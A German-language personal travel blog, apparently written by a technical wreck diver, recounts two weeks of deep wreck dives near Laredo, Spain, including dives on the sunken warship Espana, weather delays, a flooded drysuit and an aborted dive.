    Für den 27.06. planten wir einen Tauchgang am Kriegsschiff Espana. Leider war es nicht möglich die Espana anzufahren, da die Wellen zu hoch waren. Aber wir werden es am folgenden Tag erneut versuchen.

    Für heute (den 28.06) hatte ich eigentlich meinen Heimflug gebucht. Zum Glück war ich zeitlich etwas flexibel, so dass ich meinen Aufenthalt noch um einige Tage verlängern konnte.

    Nach einer Woche warten war es endlich soweit, es ging zur Espana. Von Laredo aus beträgt die Fahrtzeit bis zum Tauchplatz ca eine Stunde. Die Bedingungen waren perfekt. Wir hatten sehr gute Sicht, kaum Ströhmung und sehr niedrige Wellen.

    Bei diesem 1. Tauchgang wollten wir das Heck des grossen Schlachtschiffes erkunden. Die Espana ist 1937 gesunken. Bei der Verfolgung eines Schiffes ist sie versehentlich auf eine Seemine gelaufen, die kurrioser Weise von den Eigenen Leuten gelegt wurden ist.

    Das Wrack ruht in einer Tiefe von max 75 m mit em Kiel nach oben. In den letzten Jahren ist es an vielen Stellen eingebrochen, so dass man ziemlich ungehindert auch hineintauchen kann.

    Am Heck der Espana wird man von 4 mächtigen Schrauben begrüsst. Überall im und am Wrack liegt Munition für die grossen Kanonen mit denen das Schiff bestückt war. Es gibt so viel zu entdecken und zu bestaunen, dass die 30min, die wir am Wrack bleiben dürfen, viel zu schnell vorüber gehen.

    Eins ist schon bei diesem ersten Tauchgang ganz klar: Hier MUSS ich wieder hin!!!

    Auf der Rückfahrt fährt Joseba extra für mich sehr dicht an der Küste entlang um mir die beeindruckende Landschaft zu zeigen. Oh wie habe ich meine Kamera vermisst 🙂

    Samstag, den 29.06., steht wieder die Andra auf dem Program. Dieses Mal ist Gabriel mein Tauchpartner. Er kennt das Wrack sehr gut und wir haben einen wunderbaren Tauchgang am Heckteil des Wracks. Bei diesem Tauchgang kann ich neben einem wunderschönen Wrack mit seiner beeindruckenden Schraube auch noch unzählige Congar Aale und einen majestätischen Hummer bewundern.

    Der Tauchgang wäre perfekt gewesen, wenn ich nicht meinen sonst so zuverlässiger SANTI E LITE Trockentauchanzug mehr oder weniger vollständig geflutet hätte 🙂 durch ein Loch in der Armmanschette drang soviel Wasser ein, dass die 2 Stunden Deco nicht ganz so angenehm war.

    Nach einem guten Mittagessen im Jachtclub, direkt neben der Tauchbasis, bereiteten wir unsere Ausrüstung für den nächsten Tag vor. Am Abend wurde ich von meinen spanischen Freunden in ein sehr gutes Restaurant eingeladen und es gab Rindfleisch vom heissen Stein. Und ich habe wieder etwas gelernt 🙂 Medium bedeutet in Spanien, dass das Fleisch mehr oder weniger roh auf den Teller kommt 🙂 Etwas gewöhnungsbedürftig, aber mit der richtigen Menge Sangria schmeckt auch das 🙂

    Sonntag 30.06.. Heute betauchten wir erneut das Wrack der Genoveva Fierro. Ich hatte die grosse Ehre diesen Tauchgang mit Alberto Marin als Tauchpartner machen zu dürfen. Er hat das Wrack entdeckt und kennt es wie kein zweiter. Ein grossartiger Tauchgang.

    Wir betauchten das Heckteil des Wracks. Die Sichtweiten sind gut, so dass man den sehr schön bewachsenen oberen Teil des Hecks, der sehr ausladend über die Schraube hinaussteht, als ganzes bewundern kann.

    Alberto zeigte mir viele Details, wie zB Ersatzschraube, Maschine und den rieseigen Kessel.  Ein wirklich schönes Wrack. Da die maximale Tauchtiefe nur etwas über 50m beträgt bleibt einem auch die Zeit alles in Ruhe zu bewundern.

    Am Montag den 01.07 dürfen wir wieder an der Espana tauchen. Auch dieses Mal wählen wir den Heckbereich und setzen dort unsere Erkundung fort. Es ist wie beim 1. Tauchgang, wir sind restlos begeistert und würden zu gerne am nächsten Tag gleich wieder hinfahren.

    Der Dienstag sollte mein letzter Tauchtag in Laredo sein. Der Rückflug war für Mittwoch geplant.

    Joseba wollte mir eine Freude machen und ich sollte entscheiden, wo es am Dienstag hingehen sollte. Die Entscheidung viel mir nicht schwer 🙂 Natürlich wollte ich noch einmal zur Espana.

    An diesem Tag gab es nur einen einzigen weiteren Taucher, Ivan. Mit ihm hatte ich auch schon die letzten 2 Tauchgänge an der Espana gemacht. Also eigentlich perfekte Bedingungen.

    Aber manchmal gibt es halt Tage, an denen geht alles schief. Aus unsere Fahrt zur Espana wurde nichts, da der Wind unerwartet stark geworden war. Die Wellen waren zu hoch. Joseba brachte uns dafür zur Andra. Am Tauchplatz stellten wir zunächt fest, dass wir starke Strömung hatten und dann bemerkte mein Tauchpartner auch noch, dass er seine Haube vergessen hatte. Ein 82m Tauchgang mit ca 2 Stunden Deko bei Temperaturen zwischen 10 und 17°C??? Ich wollte die ganze Aktion an diesem Punkt abbrechen, aber Ivan war der Ansicht das würde schon gehen und ging ins Wasser um zu testen, wie er sich auf 6m fühlt. Ich ging mit ihm. Ich war noch an der Oberfläche (an der Boje) und Joseba wollte mir meine Kamera anreichen, als die Strömung das Boot über mich drückte. Das war der Punkt, wo ich entschied, dass dieser Tag kein guter Tag für einen Tauchgang war. Ich brach ab und stieg zurück aufs Boot. Einer muss ja ein bisschen Vernunft zeigen, oder? 🙂

    Beim packen an der Basis kam mir der verrückte Gedanke, dass ich ja eigentlich noch bleiben könnte 🙂 Also beschloss ich noch einmal bis Samstag zu verlängern. Die Wetterprognosen sagten zwar für Mittwoch und Donnerstag viel Wind voraus, so dass ich wieder zwei tauchfreie Tage vor mir hatte, aber der Freitag versprach noch einmal perfekte Bedingungen für eine Ausfahrt zur Espana. Darauf wollte ich gern warten. Das wäre der perfekte Abschluss für diese grossartige Zeit in Laredo.

    Einzig Dani tat mir leid, ihm habe ich mit meiner ganzen Umbucherei schon einiges zugemutet 🙂

    Am Mittwoch und Donnerstag verging die Zeit wie im Flug, Joseba und Alberto kümmerten sich rührend um mich. Ich glaube sie fuhren mich zu jedem Ausichtspunkt den die Gegend zu bieten hat 🙂

    Für meinen nun wirklich letzten Tauchgang am Freitag hatten Alberto und Joseba beschlossen, dass sie meine Tauchpartner sein würden. Da sie auch dieses Wrack entdeckt haben versprach das ein sehr aufregender Tauchgang zu werden.

    Dieses Mal war das Ziel unseres Tauchgangs der Bug.

    Und es war einer der besten Wracktauchgänge die ich je hatte!!!!

    Für mich ist klar, dass ich so schnell es geht wieder nach Laredo möchte. Die Espana ist noch für viele, viele Tauchgänge gut 🙂

    Leider musste ich mich nach dem Tauchgang nun doch von meinen Freunden in Laredo verabschieden. Dani war gekommen um mich abzuholen. Den letzten Abend wollte ich mit ihm und einem gemeinsamen Freund, mit dem wir schon 2011 die Victoria im Libanon betaucht hatten, verbringen.

    Samstag den 06.07. flog ich zurück nach Frankfurt. Wo ich nach zwei wunderbaren Wochen in Spanien von der kalte Realität der Servicewüste Flughafen Frankfurt empfangen wurde. 🙁

     

     

     

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  • Hello world

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